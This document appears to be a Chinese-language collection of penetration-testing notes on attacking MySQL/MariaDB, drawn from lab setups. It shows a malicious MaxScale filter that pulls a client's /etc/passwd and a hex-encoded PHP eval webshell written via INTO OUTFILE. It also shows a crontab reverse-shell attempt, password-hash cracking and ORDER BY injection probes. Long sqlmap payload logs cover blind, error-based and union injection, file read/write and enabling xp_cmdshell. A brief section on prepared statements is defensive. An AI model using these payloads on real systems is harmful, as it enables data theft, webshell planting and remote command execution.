环境搭建:

首先安装MariaDB,安装步骤见之前文章。然后安装maxscale,maxscale是mariadb公司开发的一套数据库中间件。
maxscale rpm包下载地址:
https://downloads.mariadb.com/MaxScale/2.1.0/centos/6Server/x86_64/maxscale-2.1.0-1.centos.6.x86_64.rpm
10.200.1.112为Mariadb所在服务器

[root@kafka112 tmp]# yum install maxscale-2.1.0-1.centos.6.x86_64.rpm

maxscale.conf的配置文件如下:

------------------------------------------------
[maxscale]
threads=1

[server1]
type=server
address=127.0.0.1
port=3306
protocol=MySQLBackend

[EvilFilter]
type=filter
module=regexfilter
options=ignorecase
match=.*server_id.*
replace=LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test.loot

[Read-Connection-Router]
type=service
router=readconnroute
servers=server1
user=root
passwd=Hehe123456
filters=EvilFilter

[Read-Connection-Listener]
type=listener
service=Read-Connection-Router
protocol=MySQLClient
port=4008

[MySQL-Monitor]
type=monitor
module=mysqlmon
servers=server1
user=root
passwd=Hehe123456
monitor_interval=1000
------------------------------------------------

在10.200.1.111上创建账户mariadb

[root@kafka111 ~]# useradd mariadb
[root@kafka111 ~]# cat /etc/passwd |grep mariadb
mariadb:x:667:667::/home/mariadb:/bin/bash

在10.200.1.111上连接10.200.1.112的4008端口

mysql -h 10.200.1.112 -u root -P 4008 -p
mysql> use test;
Database changed
mysql> create table loot (name varchar(5000));
Query OK, 0 rows affected (0.04 sec)

配置文件中的正则:.*server_id.* 匹配上后会执行LOAD DATA LOCAL INFILE ‘/etc/passwd’ INTO TABLE test.loot

mysql> select @@server_id;
Query OK, 31 rows affected (0.01 sec)
Records: 31 Deleted: 0 Skipped: 0 Warnings: 0
mysql> select * from loot where name like "%mariadb%";
+--------------------------------------------+
| name |
+--------------------------------------------+
| mariadb:x:667:667::/home/mariadb:/bin/bash |
+--------------------------------------------+
1 row in set (0.00 sec)

可以看到客户端的/etc/passwd内容写入到表loot中。


参考文章:

http://www.freebuf.com/sectool/128947.html

经常在服务器提权的时候,尤其是windows环境下,我们发现权限不高,却可以读取mysql的datadir目录,并且能够成功下载user.MYD这个文件。
将服务器上以下三个文件拷贝到本地。
[root@server120 run]# cd /var/lib/mysql/mysql/user.
user.frm user.MYD user.MYI
然后重启Mysql服务
[root@vincenthostname tmp]# service mysqld stop
停止 mysqld: [确定] [root@vincenthostname tmp]# /usr/bin/mysqld_safe –skip-grant-tables &
[1] 55085
[root@vincenthostname tmp]# 160601 20:39:17 mysqld_safe Logging to ‘/var/log/mysqld.log’.
160601 20:39:17 mysqld_safe Starting mysqld daemon with databases from /var/lib/mysql
然后就可以查看Hash
mysql> select user,password from user;
+——+——————————————-+
| user | password |
+——+——————————————-+
| root | *381A54AC52B74063187B5D183AB89082B0620C45 |
| root | |
| root | |
| | |
| | |
+——+——————————————-+
5 rows in set (0.01 sec)
然后我们使用cain进制破解
选择Cracker–>Mysql Hasher–>Add to list 添加username和Hash

123

右键点击新增的条目选择第一个字典破解Mysql SHA1 Hashes,然后添加一个字典

123

在“Options(选项)”中一共有8种方式即:
(1)字符串首字母大写
(2)字符串反转
(3)双倍字符串
(4)字符串全部小写
(5)字符串全部大写
(6)在字符串中加入数字
(7)在每个字符串中进行大写轮换
(8)在字符串中加入2个数字
这里我们选择字符串全部小写,破解成功

123

另外Cain还有密文计算器

123

mysql密码加密方式:
MySQL数据库的认证密码有两种方式,
MySQL 4.1版本之前是MySQL323加密,MySQL 4.1和之后的版本都是MySQLSHA1加密,
MySQL数据库中自带Old_Password(str)和Password(str)函数,它们均可以在MySQL数据库里进行查询,前者是MySQL323加密,后者是MySQLSHA1方式加密。
1)以MySQL323方式加密

select old_password('111111');
mysql> select old_password('111111');
+------------------------+
| old_password('111111') |
+------------------------+
| 5fcc735428e45938 |
+------------------------+
1 row in set (0.00 sec)

2)以MySQLSHA1方式加密

mysql> select password('hehe123');
+-------------------------------------------+
| password('hehe123') |
+-------------------------------------------+
| *E2F0F2B44618A79B15A6FD6B0941AC2D7C0173E6 |
+-------------------------------------------+
1 row in set (0.00 sec)

MySQL实际上是使用了两次SHA1夹杂一次unhex的方式对用户密码进行了加密。具体的算法可以用公式表示:password_str = concat(‘*’, sha1(unhex(sha1(password)))) 我们可以用下面的方法做个简单的验证。

mysql> select password('mypassword'),concat('*',sha1(unhex(sha1('mypassword'))));
+-------------------------------------------+---------------------------------------------+
| password('mypassword') | concat('*',sha1(unhex(sha1('mypassword')))) |
+-------------------------------------------+---------------------------------------------+
| *FABE5482D5AADF36D028AC443D117BE1180B9725 | *fabe5482d5aadf36d028ac443d117be1180b9725 |
+-------------------------------------------+---------------------------------------------+
1 row in set (0.00 sec)

MYSQL323加密中生成的是16位字符串,而在MySQLSHA1中生存的是41位字符串,其中*是不加入实际的密码运算中,通过观察在很多用户中都携带了”*”,在实际破解过程中去掉”*”,也就是说MySQLSHA1加密的密码的实际位数是40位。

mysql> select 0x3c3f706870206576616c28245f504f53545b277a275d293b3f3e,2,3,4 from mysql.user into outfile '/var/www/html/z.php';
[root@server120 html]# ll | grep z.php
-rw-rw-rw- 1 mysql mysql 198 6月 20 16:35 z.php

可以看到属主和属组都是mysql
限制条件:
1)需要知道Web目录的绝对路径。
2)需要mysql用户有file权限,file权限限制在MySQL服务器上读写文件。grant file on *.* to root@localhost;
3)因为执行时以mysql用户去执行,所以mysql用户需要有Web目录的写权限。

这里如果Mysql是Root权限启动的话,能否像Redis一样,通过写crontab来反弹shell呢。

mysql> select * from test where 0 union select '* * * * * bash -i >& /dev/tcp/192.168.192.144/2345 0>&1' into outfile '/var/spool/cron/root';

ERROR 1086 (HY000): File '/var/spool/cron/root' already exists

如果root账户本身就有定时任务,那么会提示文件存在,那么如果写入到其他账户呢

mysql> select * from test where 0 union select '* * * * * bash -i >& /dev/tcp/192.168.192.144/2345 0>&1' into outfile '/var/spool/cron/mysql';
Query OK, 1 row affected (0.00 sec)

然后我们看一下/var/spool/cron/mysql

[root@server120 cron]# ll /var/spool/cron/mysql
-rw-rw-rw- 1 root root 56 6月 23 15:44 /var/spool/cron/mysql

然后看一下cron日志,发现提示BAD FILE MODE即文件的权限不对

Jun 23 15:45:01 server120 crond[1725]: (mysql) BAD FILE MODE (/var/spool/cron/mysql)

正常添加的定时任务权限为600

[root@server120 ~]# ll /var/spool/cron/ | grep vincen
-rw------- 1 vincen vincen 17 6月 23 16:03 vincen

而mysql写入的文件权限为666,所以mysql通过outfile写crontab来反弹shell是无法实现的。

对于大多数的程序员而言,参数化查询、预编译处理能够解决大部分的注入问题,以PHP为例:

<?php 

    header("Content-type:text/html;charset=utf-8"); 

    $mysqli = new mysqli("127.0.0.1", "root", "123456", "test"); 

    if($mysqli->connect_error){ 

        die($mysqli->connect_error); 

        exit(); 

    } 

    $sql = "select num,name,class from user where name = ?"; 

    $mysqli_stmt = $mysqli->prepare($sql); 

    $name = $_GET['name']; 

    $mysqli_stmt->bind_param("s",$name); 

    $mysqli_stmt->bind_result($num,$name,$class);  

    $mysqli_stmt->execute(); 

    while ($mysqli_stmt->fetch()){ 

        echo "--$num--$name--$class<br/>"; 

    } 

    $mysqli_stmt->close(); 

    $mysqli->close();   

?>

这里bind_param类型

http://192.168.192.120/mysql.php?name=vincent

日志输出:

30 Connect  root@localhost on test

30 Prepare select num,name,class from user where name = ?

30 Execute select num,name,class from user where name = 'vincent'

30 Close stmt 

30 Quit

可以执行语句中参数是被双引号包裹的

http://192.168.192.120/mysql.php?name=vincent’ or ‘1’=’1

日志输出:

31 Connect  root@localhost on test

31 Prepare select num,name,class from user where name = ?

31 Execute select num,name,class from user where name = 'vincent\' or \'1\'=\'1'

31 Close stmt 

31 Quit

可以看到单引号被转义了。

 

再来试一下int,修改程序

<?php 

    header("Content-type:text/html;charset=utf-8"); 

    $mysqli = new mysqli("127.0.0.1", "root", "123456", "test"); 

    if($mysqli->connect_error){ 

        die($mysqli->connect_error); 

        exit(); 

    } 

    $sql = "select num,name,class from user where num = ?"; 

    $mysqli_stmt = $mysqli->prepare($sql); 

    $num = $_GET['num']; 

    $mysqli_stmt->bind_param("i",$num); 

    $mysqli_stmt->bind_result($num,$name,$class); 

    $mysqli_stmt->execute(); 

    while ($mysqli_stmt->fetch()){ 

        echo "--$num--$name--$class<br/>"; 

    } 

    $mysqli_stmt->close(); 

    $mysqli->close();   

?>

http://192.168.192.120/mysql.php?num=1 and 1=1

日志输出:

33 Connect  root@localhost on test

33 Prepare select num,name,class from user where num = ?

33 Execute select num,name,class from user where num = 1

33 Close stmt 

33 Quit

可以看到会自动将参数转成整形处理。

但是并非所有环境下都适合预编译处理,例如:

$sql = "select num,name,class from user order by ?";

$mysqli_stmt = $mysqli->prepare($sql); 

$name = $_GET['name']; 

$mysqli_stmt->bind_param("s",$name);

如果使用预编译处理,参数绑定为String类型,order by的参数会被单引号包裹,导致无法排序

mysql> select num,name,class from user order by name;

+------+------+-------+

| num  | name | class |

+------+------+-------+

|    2 | 66   | 88    |

|    1 | a    | b     |

|    2 | xx   | sds   |

+------+------+-------+

3 rows in set (0.00 sec)

mysql> select num,name,class from user order by 'name';

+------+------+-------+

| num  | name | class |

+------+------+-------+

|    1 | a    | b     |

|    2 | xx   | sds   |

|    2 | 66   | 88    |

+------+------+-------+

3 rows in set (0.00 sec)

所以排序无法使用预编译处理,经常是SQL注入常见点。

排序注入检测:

1)判断返回结果顺序不同
因为order by的值需要为唯一,而select 1 from INFORMATION_SCHEMA.SCHEMATA会返回多个,所以会产生报错。

mysql> select * from user order by if((1=2),2,(select 1 from INFORMATION_SCHEMA.SCHEMATA));
ERROR 1242 (21000): Subquery returns more than 1 row
mysql> select * from user order by if((1=1),1,(select 1 from INFORMATION_SCHEMA.SCHEMATA));
+------+------+-------+
| num | name | class |
+------+------+-------+
| 2 | s | x |
| 1 | xx | yy |
+------+------+-------+
2 rows in set (0.00 sec)

case when:

http://quan.zhubajie.com/index/list-fid-5-order-(case when(1=1) then dateline else membernum end)-page-1.html
http://quan.zhubajie.com/index/list-fid-5-order-(case when(1=2) then dateline else membernum end)-page-1.html

regexp:

mysql> SELECT user,host from mysql.user order by (select 1 regexp if(1=1,1,0x00)
);
+------+-----------+
| user | host |
+------+-----------+
| root | 127.0.0.1 |
| root | localhost |
+------+-----------+
2 rows in set (0.01 sec)
mysql> SELECT user,host from mysql.user order by (select 1 regexp if(1=2,1,0x00)
);
ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp

2)利用报错

updatexml:
mysql> SELECT user,host from mysql.user order by updatexml(1,if(1=1,user(),2),1)
;
ERROR 1105 (HY000): XPATH syntax error: '@localhost'

extractvalue:
mysql> SELECT user,host from mysql.user order by extractvalue(1,if(1=1,user(),2)
);
ERROR 1105 (HY000): XPATH syntax error: '@localhost'

3)基于时间
注意容易造成拒绝服务

mysql> SELECT user,host from mysql.user order by if(1=1,sleep(2),1);
+------+-----------+
| user | host |
+------+-----------+
| root | localhost |
| root | 127.0.0.1 |
+------+-----------+
2 rows in set (4.00 sec)

修复建议:
使用间接对象引用。前端传递引用数字或者字符串等,用于与后端做数组映射,这样可以隐藏数据库数据字典效果,避免直接引用带来的危害。

load_file()
使用load_file查看文件需要有file权限。
新建一个mysql用户

insert into mysql.user(Host,User,Password) values("localhost","vinc",password("xxxxxx"));
flush privileges;

然后使用vinc用户登录

mysql> select load_file('/etc/hosts');
+-------------------------+
| load_file('/etc/hosts') |
+-------------------------+
| NULL |
+-------------------------+
1 row in set (0.00 sec)

然后赋予vinc账户file权限

mysql> grant file on *.* to vinc@localhost;
Query OK, 0 rows affected (0.00 sec)
mysql> show grants for 'vinc'@'localhost';
+------------------------------------------------------------------------------------------------------------+
| Grants for vinc@localhost |
+------------------------------------------------------------------------------------------------------------+
| GRANT FILE ON *.* TO 'vinc'@'localhost' IDENTIFIED BY PASSWORD '*E2F0F2B44618A79B15A6FD6B0941AC2D7C0173E6' |
+------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

然后重新连接mysql就可以读取文件了。

mysql> select load_file('/etc/hosts');
+----------------------------------------------------------------------------------------------------------------------------------------------------------------+
| load_file('/etc/hosts') |
+----------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 127.0.0.1 localhost localhost.localdomain localhost4 localhost4.localdomain4
::1 localhost localhost.localdomain localhost6 localhost6.localdomain6
|
+----------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

load_file(‘/etc/passwd’)对应的16进制load_file(0x2F6574632F706173737764)

SQLNuke
SQLNuke是一款免费的开源mysql注射load_file()模糊测试工具,是用ruby语言写的,使用起来非常简单方便。
SQLNuke安装和基本用法:

安装SqlNuke之前,需要确保安装了Git和Ruby,因为它是用ruby语言写的,同时需要git命令来克隆SqlNuke库到本地。

git库址:
yum install git
git clone https://github.com/nuke99/sqlnuke.git
yum install ruby

要使用SQLNuke,进入它所在目录,使用./sql.rb启动它。

-u, --url URL Link with 'XxxX' ex: http://tar.com/?id=1+UNION+SELECT+1,XxxX,2--
-d, --data DATA POST DATA ex: id=-1+Union+Select+null,XxxX,null--&name=John
-x, --hex Hex Conversion
--proxy http://IP:PORT HTTP Proxy
--os (linux,win) Target Server OS (linux,win)
--agent AGENT User-Agent for the header
--ref REFERER Referer for the header
--cookie COOKIE Cookie for the header
-h, --help Information about commands

这里我们使用dvwa

[root@server120 sqlnuke]# ./sql.rb -u "http://192.168.192.120/dvwa/vulnerabilities/sqli/?id=-1%27+UNION+SELECT+1,XxxX--%20&Submit=Submit#" --cookie "security=low; PHPSESSID=gephgrt1pia3inp2ksol8m9et6"
[+] Cookie is set for security=low; PHPSESSID=gephgrt1pia3inp2ksol8m9et6
[!] No OS selected, Continue with all the possibilities
[200] - [Failed] /etc/apache2/sites-available/default
[200] - [Failed] /etc/apache/httpd.conf
[200] - [Success] /etc/httpd/conf/httpd.conf

可以在packset.lst文件中添加路径,增加测试payload。

先看下outfile:

mysql> select host from mysql.user into outfile '/tmp/user.txt';
Query OK, 5 rows affected (0.00 sec)
[root@server120 html]# cat /tmp/user.txt
127.0.0.1
localhost
localhost
server120
server120

然后试下dumpfile

mysql> select host from mysql.user into dumpfile '/tmp/user1.txt';
ERROR 1172 (42000): Result consisted of more than one row

只能导出一行内容

若我们想把一个可执行2进制文件用into outfile函数导出,导出后就会被破坏,因为into outfile函数会在行末端写入新行,并且会会转义换行符这样的话这个2进制可执行文件就会被破坏。这时候我们用into dumpfile 就能导出一个完整能执行的2进制文件,into dumpfile 函数不对任何列或行进行终止,也不执行任何转义处理。在udf提权的时候用到的就是dumpfile。

SQLMAP的几种注入类型:

1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。B
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。T
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入。

布尔盲注


默认情况下Sqlmap是level 1和risk 1,布尔盲注只会尝试And语句,所以存在布尔盲注的前提是存在查询结果的。
但是测试发现,如果不加上–level 3,无法识别存在SQL注入。SQL语句如下:

SELECT first_name, last_name FROM users WHERE user_id = '$id'

提交参数1,本身是存在查询结果的,返回的Content-Length:4824
Sqlmap提交的payload如下:

1' AND 8299=7983 AND 'GVwj'='GVwj
Content-length: 4778
1' AND 5800=5800 AND 'xcJr'='xcJr
Content-length: 4824

可以看到两个请求的Content-Length不同,此处是存在SQL注入的,但是这里Sqlmap却没有判断存在注入。

E:\Python27\sqlmap>python sqlmap.py -r r.txt --current-user --technique B -p id --batch -v 5 > E:\mysql.log
[11:28:42] [WARNING] GET parameter 'id' does not seem to be injectable

而加上–risk 3,使用OR语句就可以

E:\Python27\sqlmap>python sqlmap.py -r r.txt --current-user --technique B -p id --batch -v 5 --risk 3 > E:\mysql.log
[11:41:39] [PAYLOAD] -4060
Content-length: 4778
[11:41:39] [PAYLOAD] -9307') OR 9390=1031 AND ('jVsv'='jVsv
Content-length: 4778
[11:41:40] [PAYLOAD] -2405' OR 2993=2993 AND 'NMMk'='NMMk
Content-length: 5005
[11:41:40] [INFO] GET parameter 'id' appears to be 'OR boolean-based blind - WHERE or HAVING clause' injectable (with --string="Me")
GET parameter 'id' is vulnerable.

具体的payload如下:
当前用户
二分法比对ascii值

[11:54:32] [PAYLOAD] -8068' OR ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1))>64 AND 'idvA'='idvA
[11:54:32] [PAYLOAD] -8068' OR ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1))>96 AND 'idvA'='idvA
[11:54:32] [PAYLOAD] -8068' OR ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1))>112 AND 'idvA'='idvA
[11:54:32] [PAYLOAD] -8068' OR ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1))>120 AND 'idvA'='idvA
[11:54:32] [PAYLOAD] -8068' OR ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1))>116 AND 'idvA'='idvA
[11:54:32] [PAYLOAD] -8068' OR ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1))>114 AND 'idvA'='idvA
[11:54:32] [PAYLOAD] -8068' OR ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1))>113 AND 'idvA'='idvA

数据库

[11:58:32] [INFO] fetching number of databases
[11:58:32] [PAYLOAD] -7057' OR ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),2,1))>1 AND 'nOyy'='nOyy
[11:58:32] [INFO] retrieved: 5
[11:58:32] [PAYLOAD] -2607' OR ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),1,1))>64 AND 'beOk'='beOk

Test数据库中的表

[13:46:58] [INFO] fetching number of tables for database 'test'
[13:46:58] [PAYLOAD] -5772' OR ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x74657374),2,1))>1 AND 'CuUY'='CuUY
[13:46:58] [INFO] retrieved: 2
[13:46:58] [PAYLOAD] -5940' OR ORD(MID((SELECT IFNULL(CAST(table_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x74657374 LIMIT 0,1),1,1))>64 AND 'UtVj'='UtVj

Test数据库vinc表字段

[13:53:44] [INFO] fetching columns for table 'vinc' in database 'test'
[13:53:44] [PAYLOAD] -9033' OR ORD(MID((SELECT IFNULL(CAST(COUNT(column_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x76696e63 AND table_schema=0x74657374),2,1))>1 AND 'UlEP'='UlEP
[13:53:44] [INFO] retrieved: 3
[13:53:44] [PAYLOAD] -3060' OR ORD(MID((SELECT IFNULL(CAST(column_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x76696e63 AND table_schema=0x74657374 LIMIT 0,1),1,1))>64 AND 'Nanq'='Nanq

获取Test数据库vinc表内容

[13:53:45] [INFO] fetching entries for table 'vinc' in database 'test'
[13:53:45] [INFO] fetching number of entries for table 'vinc' in database 'test'
[13:53:45] [PAYLOAD] -3600' OR ORD(MID((SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM test.vinc),2,1))>1 AND 'xJsR'='xJsR
[13:53:45] [INFO] retrieved: 3

然后逐字符逐个字段逐行获取数据

[13:53:45] [PAYLOAD] -6761' OR ORD(MID((SELECT IFNULL(CAST(class AS CHAR),0x20) FROM test.vinc ORDER BY id LIMIT 0,1),1,1))>64 AND 'yemA'='yemA
[13:53:45] [PAYLOAD] -5630' OR ORD(MID((SELECT IFNULL(CAST(id AS CHAR),0x20) FROM test.vinc ORDER BY id LIMIT 0,1),1,1))>64 AND 'nQBD'='nQBD
[13:53:45] [PAYLOAD] -5362' OR ORD(MID((SELECT IFNULL(CAST(name AS CHAR),0x20) FROM test.vinc ORDER BY id LIMIT 0,1),1,1))>64 AND 'qPiu'='qPiu

时间盲注


时间盲注和布尔盲注Payload类似,因为都无法通过页面回显出数据,只能通过读取Ascii的方式。

[14:00:53] [PAYLOAD] 1' AND 2016=IF((89 88),SLEEP(5),2016) AND 'Iakl'='Iakl

报错注入


1' AND (SELECT 5776 FROM(SELECT COUNT(*),CONCAT(0x7162767a71,(SELECT (ELT(5776=5776,1))),0x71717a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'dMzi'='dMzi

ELT(N,str1,str2,str3,…)
如果N =1返回str1,如果N= 2返回str2,等等。返回NULL如果参数的数量小于1或大于N

1' AND ( SELECT 5776 FROM(SELECT COUNT(*),CONCAT(0x7162767a71,(select concat_ws(0x5e,id,name,class) from test.vinc limit 0,1),0x71717a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a ) AND 'dMzi'='dMzi

Union注入


union会自动压缩多个结果集合中的重复结果
union all则将所有的结果全部显示出来,不管是不是重复

数据库

[14:36:25] [PAYLOAD] 1' UNION ALL SELECT CONCAT(0x7162767a71,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x71717a7671),NULL-- aIGI

Test数据库vinc表数据

[14:41:02] [PAYLOAD] 1' UNION ALL SELECT CONCAT(0x7162767a71,IFNULL(CAST(class AS CHAR),0x20),0x677777637a6d,IFNULL(CAST(id AS CHAR),0x20),0x677777637a6d,IFNULL(CAST(name AS CHAR),0x20),0x71717a7671),NULL FROM test.vinc-- GrQp

堆查询注入


Mysql一般不支持多语句

–file-read


当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。读取的文件可以是文本也可以是二进制文件。
Mysql

E:\Python27\sqlmap>python sqlmap.py -r r.txt --file-read "/etc/passwd" -v 3
[14:36:26] [INFO] fingerprinting the back-end DBMS operating system
[14:36:26] [PAYLOAD] 1' UNION ALL SELECT NULL,CONCAT(0x71706b7871,(CASE WHEN (0x57=UPPER(MID(@@version_compile_os,1,1))) THEN 1 ELSE 0 END),0x71707a7a71)-- skrs

[14:36:26] [WARNING] reflective value(s) found and filtering out
[14:36:26] [DEBUG] performed 1 queries in 0.02 seconds
[14:36:26] [INFO] the back-end DBMS operating system is Linux
[14:36:26] [DEBUG] going to read the file with a non-stacked query SQL injection technique
[14:36:26] [INFO] fetching file: '/etc/passwd'
[14:36:26] [PAYLOAD] 1' UNION ALL SELECT NULL,CONCAT(0x71706b7871,IFNULL(CAST(HEX(LOAD_FILE(0x2f6574632f706173737764)) AS CHAR),0x20),0x71707a7a71)-- pgzu
[14:36:26] [DEBUG] performed 1 queries in 0.02 seconds

 

Mssql
BULK INSERT以用户指定的格式复制一个数据文件至数据库表或视图中。

[14:53:20] [INFO] fetching file: 'C:/pass.txt'
[14:53:20] [PAYLOAD] xxxxx';DROP TABLE sqlmapfile--
[14:53:20] [PAYLOAD] xxxxx';CREATE TABLE sqlmapfile(data text)--
[14:53:20] [PAYLOAD] xxxxx';DROP TABLE sqlmapfilehex--
[14:53:20] [PAYLOAD] xxxxx';CREATE TABLE sqlmapfilehex(id INT IDENTITY(1, 1) PRIMARY KEY, data VARCHAR(4096))--
[14:53:20] [DEBUG] loading the content of file 'C:/pass.txt' into support table
[14:53:20] [PAYLOAD] xxxxx';BULK INSERT sqlmapfile FROM 'C:/pass.txt' WITH (CODEPAGE='RAW', FIELDTERMINATOR='ECPYscXqbX',ROWTERMINATOR='mrvcIRNcNx')--

然后是转换为16进制

[14:53:20] [PAYLOAD] xxxxx';DECLARE @charset VARCHAR(16) DECLARE @counter INT DECLARE @hexstr VARCHAR(4096) DECLARE @length INT DECLARE @chunk INT SET @charset = '0123456789ABCDEF' SET @counter = 1 SET @hexstr = '' SET @length = (SELECT DATALENGTH(data) FROM sqlmapfile) SET @chunk = 1024 WHILE (@counter <= @length) BEGIN DECLARE @tempint INT DECLARE @firstint INT DECLARE @secondint INT SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(data, @counter, 1)) FROM sqlmapfile)) SET @firstint = floor(@tempint/16) SET @secondint = @tempint - (@firstint * 16) SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1) SET @counter = @counter + 1 IF @counter % @chunk = 0 BEGIN INSERT INTO sqlmapfilehex(data) VALUES(@hexstr) SET @hexstr = '' END END IF @counter % (@chunk) != 0 BEGIN INSERT INTO sqlmapfilehex(data) VALUES(@hexstr) END --

这段太长,实际执行的是:

DECLARE @charset VARCHAR(16) 
DECLARE @counter INT 
DECLARE @hexstr VARCHAR(4096) 
DECLARE @length INT 
DECLARE @chunk INT 
SET @charset = '0123456789ABCDEF' 
SET @counter = 1 
SET @hexstr = '' 
SET @length = (SELECT DATALENGTH(data) FROM sqlmapfile) 
SET @chunk = 1024 
WHILE (@counter <= @length) 
BEGIN 
DECLARE @tempint INT 
DECLARE @firstint INT 
DECLARE @secondint INT 
SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(data, @counter, 1)) FROM sqlmapfile)) 
SET @firstint = floor(@tempint/16) 
SET @secondint = @tempint - (@firstint * 16) 
SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1) 
SET @counter = @counter + 1 
IF @counter % @chunk = 0 
BEGIN 
INSERT INTO sqlmapfilehex(data) VALUES(@hexstr) SET @hexstr = '' 
END 
END 
IF @counter % (@chunk) != 0 
BEGIN 
INSERT INTO sqlmapfilehex(data) VALUES(@hexstr) 
END --

 

[14:53:20] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[14:53:20] [PAYLOAD] xxxxx' AND 4689 IN (SELECT (CHAR(113)+CHAR(106)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT ISNULL(CAST(COUNT(*) AS NVARCHAR(4000)),CHAR(32)) FROM sqlmapfilehex)+CHAR(113)+CHAR(122)+CHAR(122)+CHAR(113)+CHAR(113)))-- jpEC

[14:53:20] [DEBUG] performed 1 queries in 0.13 seconds
[14:53:20] [PAYLOAD] xxxxx' AND 3925 IN (SELECT (CHAR(113)+CHAR(106)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT TOP 1 SUBSTRING((ISNULL(CAST(data AS NVARCHAR(4000)),
CHAR(32))),1,1024) FROM sqlmapfilehex WHERE data NOT IN (SELECT TOP 0 data FROM sqlmapfilehex ORDER BY id ASC) ORDER BY id ASC)+CHAR(113)+CHAR(122)+CHAR(122)+CHAR(113)+CHAR(113)))-- pyFU

 

–file-write,–file-dest


当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。上传的文件可以是文本也可以是二进制文件。
Mysql
Mysql使用的是into dumpfile。

E:\Python27\sqlmap>python sqlmap.py -r r.txt --file-write "C:\pass.txt" --file-dest "/tmp/123" -v 3
[15:49:12] [INFO] fingerprinting the back-end DBMS operating system
[15:49:12] [DEBUG] performed 0 queries in 0.00 seconds
[15:49:12] [INFO] the back-end DBMS operating system is Linux
[15:49:12] [DEBUG] going to upload the file 'binary' with UNION query SQL injection technique
[15:49:12] [DEBUG] encoding file to its hexadecimal string value
[15:49:12] [DEBUG] exporting the binary file content to file '/tmp/123'
[15:49:12] [PAYLOAD] -7595' UNION ALL SELECT 0x48656865313233343536,NULL INTO DUMPFILE '/tmp/123'-- JTLs

Mssql
Mssql上传文件需要使用xp_cmdshell,首先是启用xp_cmdshell

[15:52:01] [PAYLOAD] xxxxx';DECLARE @rkfp VARCHAR(8000);SET @rkfp=0x70696e67202d6e203130203132372e302e302e31;EXEC master..xp_cmdshell @rkfp--
xp_cmdshell extended procedure does not seem to be available. Do you want sqlmap to try to re-enable it? [Y/n]
[15:52:20] [DEBUG] configuring xp_cmdshell using sp_configure stored procedure
[15:52:20] [PAYLOAD] xxxxx';EXEC master..sp_configure 'SHOW advanced options',1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'xp_cmdshell',1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'SHOW advanced options',0; RECONFIGURE WITH OVERRIDE--
[15:52:20] [PAYLOAD] xxxxx';DECLARE @aapn VARCHAR(8000);SET @aapn=0x70696e67202d6e203130203132372e302e302e31;EXEC master..xp_cmdshell @aapn--
[15:52:30] [INFO] xp_cmdshell re-enabled successfully
[15:52:30] [DEBUG] creating a support table to write commands standard output to

然后测试xp_cmdshell是否可用

[15:52:30] [PAYLOAD] xxxxx';DROP TABLE sqlmapoutput--
[15:52:30] [PAYLOAD] xxxxx';CREATE TABLE sqlmapoutput(id INT PRIMARY KEY IDENTITY, data NVARCHAR(4000))--
[15:52:30] [INFO] testing if xp_cmdshell extended procedure is usable
[15:52:30] [PAYLOAD] xxxxx';DECLARE @umst VARCHAR(8000);SET @umst=0x6563686f2031;INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @umst--
[15:52:30] [PAYLOAD] xxxxx' AND 7646 IN (SELECT (CHAR(113)+CHAR(106)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT ISNULL(CAST(COUNT(data) AS NVARCHAR(4000)),CHAR(32))
FROM sqlmapoutput)+CHAR(113)+CHAR(122)+CHAR(122)+CHAR(113)+CHAR(113)))-- JgAK
[15:52:30] [INFO] the SQL query used returns 1 entries
